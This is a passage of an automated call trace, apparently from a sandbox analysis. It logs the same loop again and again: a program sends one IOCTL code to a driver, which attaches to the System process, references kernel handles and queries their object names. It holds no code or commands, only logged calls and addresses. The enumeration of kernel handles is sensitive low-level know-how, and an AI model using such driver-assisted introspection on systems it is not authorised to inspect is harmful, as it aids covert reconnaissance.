(in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.989] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.989] PsAcquireProcessExitSynchronization () returned 0x0 [0110.989] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.989] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800288edd0, HandleInformation=0x0) returned 0x0 [0110.990] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.990] PsReleaseProcessExitSynchronization () returned 0x2 [0110.990] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.990] ObQueryNameString (in: Object=0xfffffa800288edd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.990] ObfDereferenceObject (Object=0xfffffa800288edd0) returned 0x2 [0110.990] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.990] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.990] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.990] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.990] PsAcquireProcessExitSynchronization () returned 0x0 [0110.990] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.990] ObReferenceObjectByHandle (in: Handle=0xffffffff80000758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037aef20, HandleInformation=0x0) returned 0x0 [0110.990] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.990] PsReleaseProcessExitSynchronization () returned 0x2 [0110.990] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.990] ObQueryNameString (in: Object=0xfffffa80037aef20, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.990] ObfDereferenceObject (Object=0xfffffa80037aef20) returned 0x2 [0110.990] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.990] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.990] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.990] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.990] PsAcquireProcessExitSynchronization () returned 0x0 [0110.990] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.990] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0110.990] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.990] PsReleaseProcessExitSynchronization () returned 0x2 [0110.990] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.990] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.991] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0110.991] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.991] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.991] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.991] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.991] PsAcquireProcessExitSynchronization () returned 0x0 [0110.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.991] ObReferenceObjectByHandle (in: Handle=0xffffffff80000760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022d26b0, HandleInformation=0x0) returned 0x0 [0110.991] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.991] PsReleaseProcessExitSynchronization () returned 0x2 [0110.991] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.991] ObQueryNameString (in: Object=0xfffffa80022d26b0, ObjectNameInfo=0xfffffa800393e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800393e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.991] ObfDereferenceObject (Object=0xfffffa80022d26b0) returned 0x2 [0110.991] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.991] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.991] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.991] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.991] PsAcquireProcessExitSynchronization () returned 0x0 [0110.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.991] ObReferenceObjectByHandle (in: Handle=0xffffffff80000768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002277470, HandleInformation=0x0) returned 0x0 [0110.991] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.991] PsReleaseProcessExitSynchronization () returned 0x2 [0110.991] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.991] ObQueryNameString (in: Object=0xfffffa8002277470, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.991] ObfDereferenceObject (Object=0xfffffa8002277470) returned 0x2 [0110.991] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.991] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.991] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.992] PsAcquireProcessExitSynchronization () returned 0x0 [0110.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.992] ObReferenceObjectByHandle (in: Handle=0xffffffff8000076c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026b28a0, HandleInformation=0x0) returned 0x0 [0110.992] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.992] PsReleaseProcessExitSynchronization () returned 0x2 [0110.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.992] ObQueryNameString (in: Object=0xfffffa80026b28a0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.992] ObfDereferenceObject (Object=0xfffffa80026b28a0) returned 0x2 [0110.992] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.992] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0110.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.992] PsAcquireProcessExitSynchronization () returned 0x0 [0110.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0110.992] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.992] PsReleaseProcessExitSynchronization () returned 0x2 [0110.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.992] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.992] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0110.992] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.992] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.992] PsAcquireProcessExitSynchronization () returned 0x0 [0110.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000774, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037b4510, HandleInformation=0x0) returned 0x0 [0110.992] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.993] PsReleaseProcessExitSynchronization () returned 0x2 [0110.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.993] ObQueryNameString (in: Object=0xfffffa80037b4510, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.993] ObfDereferenceObject (Object=0xfffffa80037b4510) returned 0x2 [0110.993] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.993] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.993] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.993] PsAcquireProcessExitSynchronization () returned 0x0 [0110.993] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.993] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fa7bf0, HandleInformation=0x0) returned 0x0 [0110.993] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.993] PsReleaseProcessExitSynchronization () returned 0x2 [0110.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.993] ObQueryNameString (in: Object=0xfffffa8001fa7bf0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.993] ObfDereferenceObject (Object=0xfffffa8001fa7bf0) returned 0x2 [0110.993] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.993] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.993] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.993] PsAcquireProcessExitSynchronization () returned 0x0 [0110.993] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.993] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002890f20, HandleInformation=0x0) returned 0x0 [0110.993] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.993] PsReleaseProcessExitSynchronization () returned 0x2 [0110.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.993] ObQueryNameString (in: Object=0xfffffa8002890f20, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.993] ObfDereferenceObject (Object=0xfffffa8002890f20) returned 0x2 [0110.993] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.994] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.994] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.994] PsAcquireProcessExitSynchronization () returned 0x0 [0110.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.994] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021345e0, HandleInformation=0x0) returned 0x0 [0110.994] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.994] PsReleaseProcessExitSynchronization () returned 0x2 [0110.994] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.994] ObQueryNameString (in: Object=0xfffffa80021345e0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.994] ObfDereferenceObject (Object=0xfffffa80021345e0) returned 0x2 [0110.994] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.994] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.994] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.994] PsAcquireProcessExitSynchronization () returned 0x0 [0110.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.994] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002173f20, HandleInformation=0x0) returned 0x0 [0110.994] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.116] PsReleaseProcessExitSynchronization () returned 0x2 [0111.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.116] ObQueryNameString (in: Object=0xfffffa8002173f20, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.116] ObfDereferenceObject (Object=0xfffffa8002173f20) returned 0x2 [0111.116] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.116] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.116] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.116] PsAcquireProcessExitSynchronization () returned 0x0 [0111.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.116] ObReferenceObjectByHandle (in: Handle=0xffffffff8000078c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800250a550, HandleInformation=0x0) returned 0x0 [0111.116] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.117] PsReleaseProcessExitSynchronization () returned 0x2 [0111.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.117] ObQueryNameString (in: Object=0xfffffa800250a550, ObjectNameInfo=0xfffffa8003913044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8003913044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.117] ObfDereferenceObject (Object=0xfffffa800250a550) returned 0x2 [0111.117] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.117] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.117] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.117] PsAcquireProcessExitSynchronization () returned 0x0 [0111.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.117] ObReferenceObjectByHandle (in: Handle=0xffffffff8000079c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002584280, HandleInformation=0x0) returned 0x0 [0111.117] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.117] PsReleaseProcessExitSynchronization () returned 0x2 [0111.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.117] ObQueryNameString (in: Object=0xfffffa8002584280, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.117] ObfDereferenceObject (Object=0xfffffa8002584280) returned 0x2 [0111.117] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.117] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.117] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.117] PsAcquireProcessExitSynchronization () returned 0x0 [0111.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.117] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0111.118] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.118] PsReleaseProcessExitSynchronization () returned 0x2 [0111.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.118] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.118] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0111.118] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.118] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0111.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.118] PsAcquireProcessExitSynchronization () returned 0x0 [0111.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.118] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, 